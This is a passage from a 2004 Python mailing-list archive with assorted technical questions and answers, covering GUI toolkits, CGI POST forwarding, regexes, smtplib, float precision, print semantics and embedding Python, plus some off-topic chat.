in my previous message, the demand for it has not convinced me to buy it. Yet. And yes, I point it out as an option in some projects. > No doubt, eventually, wxPython (which has been growing by leaps and > bounds for quite a while now) will overtake Qt, and/or the cygwin guys > will manage to release a native GPL Qt for Windows, and/or PyGUI will > overtake both. For the last couple years, though, it seems to me that > anybody who claims he really wishes he could write (Python) non-GPL > commercial code with Qt and hasn't considered buying BlackAdder must > _definitely_ charge too little for the application he or she sells. If PyGUI will have native widgets for Windows as it does for Mac, I hope it becomes standard. Its API seemed cleaner than wxPython's (and with one less emulation layer than wax, as pointed out on this thread...). With regards to charging, one must take into account the economic reality of the place where such a person lives. If you see the above you'll see that the cost is not the only problem, the value is (there's a difference in being expensive and having a high price... at least in Portuguese there's an important difference). >> delivery (after all, he paid for that) or writing free software (free >> software was their choice 75% of the time, this is another reason I >> wouldn't invest on buying a license of Qt for commercial software...). > > Unfortunately, GPL Qt doesn't (yet) run on Windows, which (for my > average customer) would be a blocking factor. This is what led me to use wxPython on one project of mine... Even it being free software, I need to keep a Windows version of it for another year or so. > Somebody just posted to it.comp.macintosh about their astonishment > regarding Mac prices: they carefully configured Dell and Mac machines > that were roughly equivalent -- pretty big ones (2GB RAM, 20" LCD > screens, 250 GB disk, and in the case of the Mac a 64-bit CPU) and they > came out to very much the same price, 3000 Eur including VAT. Except > that on the Mac a superb professional development system is free for the > downloading (XCode 1.5) while for Windows they'd need to splurge another > thousand or so for Visual Studio Enterprise, not to mention the Mac's > "iLife" suite (mostly not relevant to most professional users). They > were astonished because they'd chosen the cheapest Dell desktop that > could be pushed that high (a 4600, I believe). Dell is with low prices here, compared to what we see on the market. I was looking at one receipt two days ago, with another consultant, and we saw that a 1600 with nice hardware cost near US$ 1300.00 here. Buying the same machine -- P4 2.80 GHz with HT, 80 GB SCSI disks capable of 80 MB/s at 160 MHz, 256 MiB of RAM, CD, Gigabit Ethernet adapter, etc. etc. etc. -- anywhere else would be more expensive than that. I remember iBooks starting at something like US$ 2100.00... That's more than half of the Dell :-) > I'm at the other end of the spectrum, with an iBook 12" ultraportable > which cost me, 9 months ago, roughly 1000, about 1/2 as much as the > closest comparable machine in the Windows world (an IBM Thinkpad X40). I wish we had those prices here... > In this case, adding the $$$ for Visual Studio to the mix, vs the free > XCode I have here, would make the price comparison just ridiculous. Indeed. But then, if you bought the other computer without Windows and added a free operating system -- you said you use Linux... --, with its development tools, then things would start being more comparable. > People lusting for upgrades (because of course today's Mac are better > than last year's) are typically trying to sell such machines for 700-800 > or thereabouts, if they're perfect except for their age of about a year. *sigh* > I wouldn't know where to find a good ultraportable 12" in the PC world > for this kind of prices -- and if I did, Linux wouldn't perfectly > support its "sleep" facilities, a key issue in ultraportable laptops. I've read somewhere about enhancements to this function in the most recent kernel. I can't say anything about it, though, since I don't own a notebook. > Of course, the PC world has a MUCH wider range of offerings, including > low-performance, low-quality ultracheap 250-or-so boxes -- that's what > I typically throw in (with OpenBSD on them) when I propose some > configuration to cheapskate customers. But, as I needed a good > laptop, with the amount of travel I do, that option just wasn't around > for me. Heh. I do something on the same line you do: cheap boxes with a good OpenSource OS where they fit. And I also need a good box with a good OpenSource OS to me. ;-) My machines here are 100% free and in the country where 60+% of the software is illegal, I'm very proud of saying that there's nothing without a proper license here :-) Maybe I'm just talking about BlackAdder's/Qt's price because of this culture here or because I'm used to use free (as in free speech and in free beer ;-)) software... But I really think that if it was cheaper it would be more used. I have bought several software for my PDAs, some for my old mobile too... If I had to pay something like 5 dollars for each copy of the software or something more expensive for a customized software (e.g. US$ 50.00, if I sell the product for less than US$ 10,000.00 and more than US$ 1,000.00, US$ 500.00 if US$ 10,000.00 < my software price < US$ 100,000.00, etc.) it would be more interesting from a commercial point of view and would also be easier to include such a cost at the product price. Of course, I'm looking at my side, they found that their business model is different and I must either accept it or not use it. For now, not using it -- even liking more the appearance of the widgets -- has been my choice. I guess I deviated a lot from the original intention of the post, and I'm sorry for that. It wasn't my intention. I just wanted to see the toolkit on the OSs it supports :-) Be seeing you, -- Godoy. From kkt at drizzle.com Tue Sep 7 12:37:20 2004 From: kkt at drizzle.com (Patrick Scheible) Date: 07 Sep 2004 09:37:20 -0700 Subject: Xah Lee's Unixism References: <20040901.2343.57633snz@dsl.co.uk> <41376B82.C6A202FC@yahoo.com> <41386155$0$19713$61fed72c@news.rcn.com> <2prna6Fnrv5rU1@uni-berlin.de> <20040904073342.5da8c563.steveo@eircom.net> Message-ID: Steve O'Hara-Smith writes: > On Fri, 3 Sep 2004 18:12:20 +0100 > "Stimpy" wrote: > > > jmfbahciv at aol.com wrote: > > > > > > been other than aquariums and zoos. There are ruts in the > > > stone-block pavements caused by running carts to/from harbor/city. > > > We were told that these ruts were worn down by usage. > > > > There are many streets and paths in the UK still in everyday use where this > > is the case! > > There are stone stairs in my old school and in many college buildings > that have deep curves worn into them by feet over a century or three. Heh. There are marble stairs with deep wear in them in the main library at my school... only that particular building was only built in 1925 or thereabouts. -- Patrick From fuzzyman at gmail.com Wed Sep 22 18:25:36 2004 From: fuzzyman at gmail.com (Michael Foord) Date: 22 Sep 2004 15:25:36 -0700 Subject: POST from a CGI References: <6f402501.0409220027.65be4885@posting.google.com> Message-ID: <6f402501.0409221425.6f1b036b@posting.google.com> Sorry to top post... but it looks like my problem may be with the latest version of ClientCookie rather than with the principles of what I'm doing... Fuzzy fuzzyman at gmail.com (Michael Foord) wrote in message news:<6f402501.0409220027.65be4885 at posting.google.com>... > I'm receiving POST data to a CGI, which I'd like to forward to another > CGI using urllib2. > > I have two options - > > 1) Parse the data using cgi.FieldStorage() and then rebuild the POST > request into a dictionary - including any files (? uploading files by > urllib2 untested and undocumented - examples seem to be for httplib). > > 2) Read the whole POST data in using sys.stdin.read(), rebuild the > 'Content-type' and 'Content-length' headers and make the POST. > > Obviously (2) is a *lot* less fiddly and less error prone. *But* I'm > getting 400 errors when I try it (server thinks request is malformed). > I've checked the headers and the body data and they seem normal and I > can't work it out. > > I wonder if anyone can see what I'm doing wrong...... > (Simple code shown first - then a straightforward example that ought > to work and fails). > > MAXUPLOAD = 10000 # set > max file size of 10 000 bytes > txdata = None > if os.environ.get('REQUEST_METHOD','').lower()=='post': # read > in the POST data from stdin > txdata = sys.stdin.read(MAXUPLOAD) > if len(txdata)==MAXUPLOAD and sys.stdin.read(1): > print overmax > sys.exit(1) # > print an error message if too big a file is uploaded > > > envdict = { 'HTTP_CACHE_CONTROL' : 'Cache-control', 'CONTENT_TYPE' : > 'Content-type', > 'HTTP_ACCEPT_LANGUAGE' : 'Accept-language', 'HTTP_ACCEPT' > : 'Accept', > 'HTTP_PRAGMA' : 'Pragma', 'HTTP_CONNECTION' : > 'Connection', > } # > these are request headers from the browser to the CGI > # that > we're going to rebuild from the environment variables > defaultuseragent = 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)' > # default User-agent > txheaders = {} > for envvar, header in envdict.items(): # go through > the environment variables putting any headers back > testval = os.environ.get(envvar) > if testval: > txheaders[header] = testval > txheaders['User-agent'] = os.environ.get('HTTP_USER_AGENT', > defaultuseragent) # put in a default user agent if we haven't got > one > if txdata and txheaders.has_key('Content-type'): > txheaders['Content-length'] = str(len(txdata)) # we only need a > 'Content-length' header if we have a 'Content-type' one... > > theurl = 'http://www.someserver.com/somepath/somepage.html' # > In actual fact I normally decode the url from the PATH_INFO > > req = urllib2.Request(theurl, txdata, txheaders) # create the > request object > try: > u = urllib2.urlopen(req) # fetch a handle on the url ! > except IOError, e: > if not hasattr(e,'code'): > thecode = 0 > else: > thecode = e.code > print 'Content-type: text/html' > print '

Error Code %s

' % e.code > > info = u.info() # info about the url > pagetype = info.gettype() > print 'Content-type: ' + pagetype + '\n' > print u.read() # print the received page > > ############################################################### > > In the code I actually use I make a logfile as well which logs txdata, > txheaders and all the environment variables. > > Making a simple post to my guestbook ( > http://www.voidspace.xennos.com/cgi-bin/guestbook.py ) using this > method I get a 400 error. > From the log I can see the following headers : > (printed using headername, ' : ', value) > > Connection : keep-alive > Accept-language : en-gb > Pragma : no-cache > Cache-control : max-age=259200 > Content-type : application/x-www-form-urlencoded > Content-length : 62 > Accept : image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, > application/x-shockwave-flash, application/msword, */* > User-agent : Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) > > > And the following POST data : > name=Fuzzyman&email=&homepage=&location=&comment=CGI+post+test > > Which even has a length of 62.... The only thing I can think of is > that the headers are appearing in the wrong order ? > Can anyone else see what I'm doing wrong ? > > Regards, > > > Fuzzy > http://www.voidspace.org.uk/atlantibots/pythonutils.html From mynewjunkaccount at hotmail.com Tue Sep 7 13:47:22 2004 From: mynewjunkaccount at hotmail.com (Benjamin Scott) Date: 7 Sep 2004 10:47:22 -0700 Subject: Memory Error while constructing Compound Dictionary Message-ID: Hello. I attempted to build a compound dictionary: len(Lst)=1000 len(nuerLst)=250 len(nuestLst)=500 Dict={} for s in Lst: Dict[s]={} for s in Lst: for t in nuerLst: Dict[s][t]={} for s in Lst: for t in nuerLst: for r in nuestLst: Dict[s][t][r]={} I got the following error: Traceback (most recent call last): File "", line 5, in -toplevel- Dict[s][t][r]=[] MemoryError Specs: Python 2.3.4 XPpro 4 GB RAM Python was utilizing 2.0 GB when the error was generated. I have attempted this task twice with different data sets. I got the same error both times. Thanks in advance for your feedback, Benjamin Scott From lynn at garlic.com Fri Sep 3 19:43:12 2004 From: lynn at garlic.com (Anne & Lynn Wheeler) Date: Fri, 03 Sep 2004 17:43:12 -0600 Subject: Xah Lee's Unixism References: <10jc7cu7e57koaa@corp.supernews.com> <20040901.2343.57633snz@dsl.co.uk> <41376B82.C6A202FC@yahoo.com> <0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com> <8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net> <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> Message-ID: Anne & Lynn Wheeler writes: > if you choose your road routes carefully enuf ... you can miss a lot > of the problems that you would run into moving by train. we had one > route where i was on the peak of the house and had to grab wires over > the side .... lift the wires up to clear the peak and walk the wires > back as the house moved under. oh ... and people have died doing that ... -- Anne & Lynn Wheeler | http://www.garlic.com/~lynn/ From adalke at mindspring.com Fri Sep 24 01:39:38 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Fri, 24 Sep 2004 05:39:38 GMT Subject: regular expression for integer and decimal numbers In-Reply-To: References: Message-ID: Andrew Durdin wrote: > That will work for numbers such as 0123 12.345 12. 0.5 -- but it > won't work for the following: > 0x12AB .5 10e-3 -15 123L This will handle the normal floats including a leading + or - and trailing exponent, all optional. r"[+-]?((\d+(\.\d*)?)|\.\d+)([eE][+-]?[0-9]+)?" Andrew dalke at dalkescientific.com From godoy at ieee.org Wed Sep 15 09:17:01 2004 From: godoy at ieee.org (Jorge Godoy) Date: Wed, 15 Sep 2004 10:17:01 -0300 Subject: up with PyGUI! References: <2qq5adF133c5kU1@uni-berlin.de> Message-ID: Greg Ewing writes: > How it looks isn't the point of PyGUI. The point is what > the API is like, and you can see that from reading the > online docs. I liked the API. This is what led me to question how it looks. When I'm developing something that is going to be "visual" to my clients, I'm interested on what I'm delivering them and how hard it is to achieve that (how much code, how to tie things together, etc.). But if the appearance is not good, it is better to choose another toolkit that might not have an API as good the the other one or to write something curses based... Appearance sells a lot, specially to Windows users. Quality and clearity of code is important to us, developers, but if you write ugly screens with beautiful code your product won't sell. > There wouldn't be much to see in the screenshots anyway. > On a Mac it looks like anything else does on a Mac, and > on Linux or Windows it (currently) looks like anything > else that uses Gtk. I'm not familiar with the looks on Macs... But I remember something of it, from the last visit to a store that has some of these here (I remember specially the design of the computers, the look of the applications seemed very interesting, but KDE is approaching it very fast, IMHO). I really would like a lot if it was possible to write non-GPL code with Qt (not that I'm against GPL software, but some clients already give me problem with their software being written on Python, imagine if I had to break too habits at once: closed software with closed tools...). On the other hand, GTK 2 is much better than GTK 1. They made a really nice job. I use it with wxPython and the results are very good. But then, I'm not a designer... I may just compare with other languages and other toolkit results. >> BTW, I got really interested on the tool used to draw the diagrams on >> this page: >> http://www.cosc.canterbury.ac.nz/~greg/python_gui/ >> version/Doc/ownership.html > > As far as I can remember, I drew them with Appleworks 6, > printed them to PDF files, opened them with Preview and > then saved them as jpegs. (Photoshop might also have been > involved in there somewhere, I don't recall now.) Too bad these aren't tools available on Linux or FreeBSD... I really liked the way they look :-) Thanks for your attention and sorry for being such a PITA insisting on the screenshots on your website. I only do that because I liked the API ;-) Be seeing you, -- Godoy. From bokr at oz.net Thu Sep 16 12:59:01 2004 From: bokr at oz.net (Bengt Richter) Date: 16 Sep 2004 16:59:01 GMT Subject: Python Oddity - print a reserved name References: <6f402501.0409150404.75292b5a@posting.google.com> <6f402501.0409151157.56b8d517@posting.google.com> Message-ID: On Thu, 16 Sep 2004 03:39:05 +0200, "Diez B. Roggisch" wrote: >> Why? If a print statement were just syntactic sugar for print((outfile,), >> ... rest, of, line) (normally calling a builtin) then, giving your example >> args, >> >> def print(*args): >> import sys >> sys.stdout.write( repr(args)+'\n') >> >> print print, 1, 'two', 3 >> >> would output (faked ;-) >> >> '((), 1, "two", 3)' > > >How should that happen? As > >print > >produces a newline, one should expect that > >print print > >gets translated to > >print(outfile, print(outfile,)) > No, the second print in print print is just a name. The translation is print((), print) where after this translation both prints are ordinary names, and the print statement per se is effectively forgotten as far as compilation is concerned. That's why it finds from the def print if there is one, or otherwise the builtin print _function_. Either way, it's a function found in the ordinary way by the name print. The point is, a print statement is recognized _syntactically_ by 'print' being the first name in the statement, but for the rest of the statement 'print' is an ordinary name. Thus print; foo = print; foo((), 'Hi there') would print a newline, bind foo to the builtin print function, and invoke the latter via foo, (using () to indicate default outfile). None could also be used to indicate default outfile. I just picked () as more flexibly adaptable to what I hadn't thought of yet re specifying outfile ;-) Maybe a keyword arg would be better yet. I.e., as in def print(*args **kw) with outfile=kw.get('outfile', sys.stdout). But that's an implementation detail. >which would clearly produce two newlines and raises the question what the >inner print gets evaluated to so that the outer one wouldn't print >anything. Not applicable. See above for translation explanation. > > While that would be sort of accetable, what you suggest makes print >ambigious - depending on the context. And above that: No, you have misunderstood (I wasn't clear enough) my suggestion. No ambiguity, but yes, a print name token as the leading token of a statement is interpreted specially. You could interpret print(x) differently from print (x) analogously to 123.__doc__ (illegal) vs 123 .__doc__ which gives you int docs. > >>>> len > >>>> > >has no sideeffects whatsoever, where > >>>> print > >>>> > >clearly has. as does sys.stdout.write('\n') so I guess I am missing your point. > >As BDFL has already said, he regrets to have introduced print as a statement >- but as he did, there is no really elegant way around having print as a >reserved keyword. One _can_ think of taking context into account to either >interpret print as keyword or as identifier while parsing - the question >is: Is it worth it? IMHO no - but as Alex said: If it makes you happy, >implement it :) The same applies to all other keywords as well, btw. It doesn't seem that complex a context for print, but I haven't thought about the other keywords yet (no time really for this even ;-/). I wonder what a comprehensive writeup of python name semantics would reveal, discussing all the different name spaces and ways that names are searched for and used in various contexts. Regards, Bengt Richter From donn at u.washington.edu Fri Sep 17 16:05:16 2004 From: donn at u.washington.edu (Donn Cave) Date: Fri, 17 Sep 2004 13:05:16 -0700 Subject: smtplib (111, 'Connection refused') References: <414b4074$0$24870$9b622d9e@news.freenet.de> Message-ID: In article , Josh Close wrote: > Does smtplib even use a smtp server? I looked at the source and it > looks like it just connects via a socket and sends like that. That's what SMTP is, the protocol to be used on that socket. Your program is an SMTP client. Where is the SMTP server? Donn Cave, donn at u.washington.edu > On Fri, 17 Sep 2004 21:52:23 +0200, Martin v. L?wis > wrote: > > Josh Close wrote: > > > I'm using the smtplib module and I keep getting this error: (111, > > > 'Connection refused') What could be causing this? > > > > This means there is no SMTP server running on the remote system. > > However, there *is* a TCP implementation (typically the operating > > system) on the other end that tells you port 25 is not being > > listened to. > > > > Regards, > > Martin From apardon at forel.vub.ac.be Fri Sep 3 02:35:28 2004 From: apardon at forel.vub.ac.be (Antoon Pardon) Date: 3 Sep 2004 06:35:28 GMT Subject: allowing braces around suites References: <1r3c28g6o9.fsf@rovereto.ifi.uio.no> <1rk6vkeo5d.fsf@rovereto.ifi.uio.no> <87hdqok9i6.fsf@sinken.local.csis.hku.hk> <1rfz68ely9.fsf@rovereto.ifi.uio.no> <876574k7du.fsf@sinken.local.csis.hku.hk> <1r3c28ejis.fsf@rovereto.ifi.uio.no> <1rllg0cb3m.fsf@rovereto.ifi.uio.no> <874qmovxna.fsf@sinken.local.csis.hku.hk> Message-ID: Op 2004-09-02, Jeremy Bowers schreef : > On Thu, 02 Sep 2004 11:27:36 +0000, Antoon Pardon wrote: >> I haven't come up in such a situation for tens of years. So I think >> I'm doing well enough. > > It stuns me how stubbornly some people can persist in poor habits. This > argument from "experience" saddens me, not impresses me. What kind of bad habit do I have if in ten years I didn't had to think I would like to reuse some code but couldn't because it was too much intertwined with other code. First you suggest I have some bad coding habit and say what symptoms such bad habist display, and when I answer I don't display such symptoms I still have bad habits and am persisting in them. > Frankly, getting back to the main point here, your little fight here is > pointless. Ain't gonna happen. With your... ahhh.... "unique views" on > this topic, you don't stand a chance in hell of convincing Guido, or > anybody else, that you are right. > Keep writing your spaghetti code, and don't wait for Python to help you > code that way. Good luck. Just because I think that for ... if ... for loop code endfor endif endfor remainder is in general more readable than for ... if ... for ... loop code remainder I'm writing spaghetti code. I don't care that much if python will have such endmarkers or not. But I would have thought the merrits and disadvantages of one approach against the other could be discussed without me being attack for bad coding habits, just because I personnly think such end markers have more merrits than disadvantages. -- Antoon Pardon From vincent.touquet at gmail.com Thu Sep 2 12:54:17 2004 From: vincent.touquet at gmail.com (Vincent Touquet) Date: 2 Sep 2004 09:54:17 -0700 Subject: embedding Python and changing stdin, stdout and stderr Message-ID: <907142f3.0409020854.2dda735c@posting.google.com> Hi, In a project where I have embedded Python in a C++ application, I have the need to replace what Python considers to be stdin, stdout and/or stderr. In sysmodule.c in the Python sources, I find the following lines of code: sysin = PyFile_FromFile(stdin, "", "r", NULL); ... PyDict_SetItemString(sysdict, "stdin", sysin); Where stdin is the C constant FILE pointer and sysin is a PyObject pointer. Would it be feasible for me to provide my own PyFile to replace sysin in sysdict ? It would seem to me that it would be sufficient to provide the Python interpreter with a different standard in/out/err than the one provide by the OS (through C). best regards, Vincent From steveo at eircom.net Wed Sep 1 03:40:05 2004 From: steveo at eircom.net (Steve O'Hara-Smith) Date: Wed, 1 Sep 2004 08:40:05 +0100 Subject: Xah Lee's Unixism References: <7fe97cc4.0408251356.34f2102a@posting.google.com> <1gj5eeq.gb3dk41wup9zwN%otto.wyss@orpatec.ch> <87hdqptl96.fsf_-_@thalassa.informatimago.com> <4PGdnfsOfdDPi63cRVn-tA@speakeasy.net> <41337FC9.8070902@hotmail.com> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <4134AC88.56452265@yahoo.com> Message-ID: <20040901084005.3f607995.steveo@eircom.net> On Tue, 31 Aug 2004 17:43:34 GMT red floyd wrote: > CBFalconer wrote: > > > Dump Notepad and get Textpad. www.textpad.com. First class. > > > > Let the editor flame wars begin! > > Get gvim! www.vim.org Wordstar 3.3 of course. -- C:>WIN | Directable Mirror Arrays The computer obeys and wins. | A better way to focus the sun You lose and Bill collects. | licences available see | http://www.sohara.org/ From aleaxit at yahoo.com Sat Sep 4 08:13:23 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sat, 4 Sep 2004 14:13:23 +0200 Subject: A couple of Python 'Features' References: <6f402501.0409040202.26cd7a30@posting.google.com> Message-ID: <1gjld2e.1x2e8u6qeefg6N%aleaxit@yahoo.com> Michael Foord wrote: > I've come across a couple of 'features' in Python standard libraries - > and I'm not sure if they're meant to be there... or if they're bugs... > > One in urllib2 and one in cgi. > > >>> from urllib2 import urlopen > >>> a = urlopen('http://www.voidspace.org.uk') > >>> i = a.info() > >>> for entry in i: print entry > Traceback (most recent call last): > File "", line 1, in -toplevel- > for entry in i: print entry > File "D:\PYTHON23\lib\rfc822.py", line 390, in __getitem__ > return self.dict[name.lower()] > AttributeError: 'int' object has no attribute 'lower' Note that the problem was in rfc822 -- urllib2 was just giving you an rfc822 message object, which then got erroneously identified as a sequence in the implicit iter() call in the for statement. > > and in cgi (a result that happens in live CGI as well as interactive > sessions....) : > > >>> import cgi > >>> a = cgi.FieldStorage() > >>> for entry in a: print entry > > Traceback (most recent call last): > File "", line 1, in ? > for entry in a: print entry > File "C:\PYTHON22\lib\cgi.py", line 550, in __getitem_ > raise KeyError, > keyKeyError: 0 > >>> > > You can get round the cgi bug because : > for entry in a.keys(): print entry > works fine - but it's a bit annoying. > > (Admittedly my server has python 2.2, but the urllib2 bug occurs in > Python 2.3.4 as well I think). Yes, 2.3 fixed the problem with cgi.fieldstorage (by adding an __iter__ that just returns iter(self.keys())...!-) but even 2.4 alpha 3 still has the problem with rfc822 (which could and IMHO should be fixed similarly, returning an iter(self.dict) from the __iter__ method). If you post the rfc822 bug to the Python bug tracker it can probably get fixed soon (of course it will need a new 2.3 release to get the fix out, but at least 2.4 beta 1 won't have the problem any more). Alex From rm at rm.rm Sat Sep 18 12:50:16 2004 From: rm at rm.rm (Radioactive Man) Date: Sat, 18 Sep 2004 16:50:16 GMT Subject: Math errors in python Message-ID: In python 2.3 (IDLE 1.0.3) running under windows 95, I get the following types of errors whenever I do simple arithmetic: 1st example: >>> 12.10 + 8.30 20.399999999999999 >>> 1.1 - 0.2 0.90000000000000013 2nd example(no errors here): >>> bool(130.0 - 129.0 == 1.0) True 3rd example: >>> a = 0.013 >>> b = 0.0129 >>> c = 0.0001 >>> [a, b, c] [0.012999999999999999, 0.0129, 0.0001] >>> bool((a - b) == c) False This sort of error is no big deal in most cases, but I'm sure it could become a problem under certain conditions, particularly the 3rd example, where I'm using truth testing. The same results occur in all cases whether I define variables a, b, and c, or enter the values directly into the bool statement. Also, it doesn't make a difference whether "a = 0.013" or "a = 0.0130". I haven't checked this under windows 2000 or XP, but I expect the same thing would happen. Any suggestions for a way to fix this sort of error? From bokr at oz.net Sat Sep 25 19:03:17 2004 From: bokr at oz.net (Bengt Richter) Date: 25 Sep 2004 23:03:17 GMT Subject: regular expression for integer and decimal numbers References: Message-ID: On 25 Sep 2004 13:13:22 -0700, gary.wilson at gmail.com (gary) wrote: >Peter Hansen wrote in message news:... >> gary wrote: >> > I want to pick all intergers and decimal numbers out of a string. >> > Would this be the most correct regular expression to use? >> > >> > "\d+\.?\d*" >> >> Examples, including the most extreme cases you want to handle, >> are always a good idea. >> >> -Peter > >Here is an example of what I will be dealing with: >""" >TOTAL FIRST DOWNS 19 21 > By Rushing 11 6 > By Passing 6 10 > By Penalty 2 5 >THIRD DOWN EFFICIENCY 4-11-36% 6-14-43% >FOURTH DOWN EFFICIENCY 0-1-0% 0-0-0% >TOTAL NET YARDS 379 271 > Total Offensive Plays (inc. times thrown passing) 58 63 > Average gain per offensive play 6.5 4.3 >NET YARDS RUSHING 264 115 >""" > >I can only hope that they were nice and put a leading zero in front of >numbers less than 1. Are you sure you want to throw away all the info implicit in the structure of that data? How about the columns? Will you get other input with more columns? Otherwise if your numeric fields are as they appear, maybe just >>> def extract(s): ... for a in s.split(): ... if not a[0].isdigit(): continue ... if a.endswith('%'): ... for i in map(int,a[:-1].split('-')): yield i ... elif '.' in a: yield float(a) ... else: yield int(a) ... >>> s = ( ... """ ... TOTAL FIRST DOWNS 19 21 ... By Rushing 11 6 ... By Passing 6 10 ... By Penalty 2 5 ... THIRD DOWN EFFICIENCY 4-11-36% 6-14-43% ... FOURTH DOWN EFFICIENCY 0-1-0% 0-0-0% ... TOTAL NET YARDS 379 271 ... Total Offensive Plays (inc. times thrown passing) 58 63 ... Average gain per offensive play 6.5 4.3 ... NET YARDS RUSHING 264 115 ... """ ... ) >>> for num in extract(s): print num, ... 19 21 11 6 6 10 2 5 4 11 36 6 14 43 0 1 0 0 0 0 379 271 58 63 6.5 4.3 264 115 But I doubt that's what you really want ;-) Regards, Bengt Richter From carribeiro at gmail.com Fri Sep 17 11:36:39 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Fri, 17 Sep 2004 12:36:39 -0300 Subject: Python Webstart ? In-Reply-To: <414acdc8$0$2404$61ce578d@news.syd.swiftdsl.com.au> References: <414acdc8$0$2404$61ce578d@news.syd.swiftdsl.com.au> Message-ID: <864d370904091708362ce418f3@mail.gmail.com> On Fri, 17 Sep 2004 21:43:04 +1000, huy wrote: > Hi, > > Just wondering if there were any plans (or existing projects) similar to > Java webstart for Python. I think this would be a boon for python. I > would love to start my new project using Python but the deployment (and > long term upgrading) factor is a major itch which pyfreeze and py2exe > just doesn't scratch properly. I sincerely don't understand why a Python Webstart would be more useful than pyfreeze and py2exe. If you're talking about some way for people to test your application without the need to install it, I can get it, but still I don't think that it's worth it. Remember -- the JVM is a near standard part of modern browsers, so it's relatively safe to assume that a lot of people (those using modern GUI browsers) will be able to test your program. But the Python VM is not designed to work like that; in the end, the user still would need to download some client library (a PyVM-plugin for browsers of sorts), which pretty much defeats the point of the Python Webstart. If you *really* want to program in Python and have it working with Webstart, why not do it using Jython? Once compiled, a Jython program is undistinguishable from a Java app -- both are meant to run under the JVM. I don't know if anyone did it before, but running Jython programs as Webstart applications should be possible, if not automatic. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From bradtilley at usa.net Mon Sep 13 16:31:06 2004 From: bradtilley at usa.net (Brad Tilley) Date: Mon, 13 Sep 2004 16:31:06 -0400 Subject: check for unused ports and then grab one Message-ID: Instead of me arbitrarily assigning a high port number to a variable, is it possible to check for ports that are unused and then randomly assign one of them to a variable? Something like this is what I'm thinking: port = socket.getunusedport() Any ideas? From xxia at skcc.org Wed Sep 1 18:02:20 2004 From: xxia at skcc.org (Xiao-Qin Xia) Date: 1 Sep 2004 15:02:20 -0700 Subject: How to learn to use python with Excel Message-ID: <9048dfd6.0409011402.51f0bc66@posting.google.com> I don't like VBA, and want to use python to work with Excel. Does anybody recommend some good documents to begin with? Many thanks, Xiao-Qin From aleaxit at yahoo.com Wed Sep 15 12:47:36 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 15 Sep 2004 18:47:36 +0200 Subject: check for unused ports and then grab one References: <9-adnWpzmJ90itvcRVn-vA@powergate.ca> <_66dnRuFcJAAxNvcRVn-pA@powergate.ca> Message-ID: <1gk63gm.35g4hy1d47qk8N%aleaxit@yahoo.com> Peter Hansen wrote: ... > > prefer not to hard code it. Each server will have a client component > > that grabs the current IP (dhcp) and port number the server is using and > > then sends it to a separate machine (sys-admin workstation) that is ... > in the same situation I'd make the choice to assign a port to > the service permanently (and hardcode or whatever), but I have > to admit I don't have all the details so maybe I'd take your > approach, too. :-) One key detail we have is that the current IP cannot be known in advance, thanks to DHCP -- it has to be communicated dynamically to a sys-admin workstation. Given that key detail, I see no problem having to communicate the port number as well as the IP address, thus no advantage in hardwiring the port number -- as long as no firewalls and similar hacks are in the way, of course. One alternate approach might be to support zeroconf/rendezvous/ opentalk/or however it's called today. Basically, it's a clever hack on top of DNS, recently blessed by the IETF (not sure about the RFC number, but no doubt they did assign one to it when they blessed it), that makes it a cakewalk for servers and clients for any given protocol to find each other, just as long as they know the name of the protocol. Well supported for Python as well as any other language you may care about (a Ruby interface was put together by two people hacking on their laptops in the half-day of time zeroconf's inventor and chief prophet, Stuart Cheshire, was tutorialing about it at OSCON...), native on Macs, a simple add-on for Windows and Linux, lightweight, potentially tiny (a suitably slimmed-down minimal implementation was fitted into ROM on the 8-bit embedded processor-cum-ROM of some standalone net-connected webcam in just a few Kb...!)... a true delight, all it needs is for more apps to support it (and I like it a lot, which is why I miss no occasion to offer a plug fot it;-). Alex From hbostic at santeecooper.com Thu Sep 9 12:30:50 2004 From: hbostic at santeecooper.com (Unixtrekkor) Date: 9 Sep 2004 09:30:50 -0700 Subject: Compiling Python 2-3.4 on Tru64 UNIX V4.0F References: <413dffc2$0$13052$9b622d9e@news.freenet.de> Message-ID: <3035f851.0409090830.6bf21074@posting.google.com> I downloaded another copy and now when I compile I see the following message: cc: Error: ./Modules/posixmodule.c line 3007: In this statement,"getgrp" expects 0 arguments, but 1 are supplied. (toomanyargs) return PyInt_FromLong((long)getgrp(0)); ---------^ cc: Error: ./Modules/posixmodule.c line 3024: In this statement,"setgrp" expects 0 arguments, but 2 are supplied. (toomanyargs) if (setgrp(0, 0) < 0) -------------^ *** Exit 1 Stop. I am looking for the format of the getgrp and setgrp commands. Thanks for your help. Heuguette "Martin v. L?wis" wrote in message news:<413dffc2$0$13052$9b622d9e at news.freenet.de>... > Heuguette Bostic wrote: > > cc: Warning: ./Modules/posixmodule.c, line 3007: "return" is an invalid preprocessor directive > > # return PyInt_FromLong((long)getpgrp(0)); > > --------^ > [...] > > Does anyone have any suggestions to help me resolve this problem? Any help would be appreciated. > > I would start with downloading the original Python source code. Line > 3007 of posixmodule.c should not start with a hashmark. Why does it > in your copy? > > Regards, > Martin From csae1211 at uibk.ac.at Thu Sep 16 09:07:20 2004 From: csae1211 at uibk.ac.at (Poissonnier Julien) Date: Thu, 16 Sep 2004 15:07:20 +0200 Subject: glade In-Reply-To: References: <414579e1$1@sia.uibk.ac.at> <41457a1b$1@sia.uibk.ac.at> <41475653@sia.uibk.ac.at> Message-ID: <41499007$1@sia.uibk.ac.at> It could be a problem with DLLs from a previous GTK version: http://mec-symonds.eng.monash.edu.au/cgi-bin/twiki/view/Saqqara/Gtk4Win32 p.kosina wrote: > import pygtk - OK > pygtk.require("2.0") - OK > import gtk -OK > import gtk.glade - ERROR something wrong with dll. And - there exist > glade.pyd in gtk directory! I caan not check wht for modules tries to > import this one, cause it is not text file. Problem is perhaps 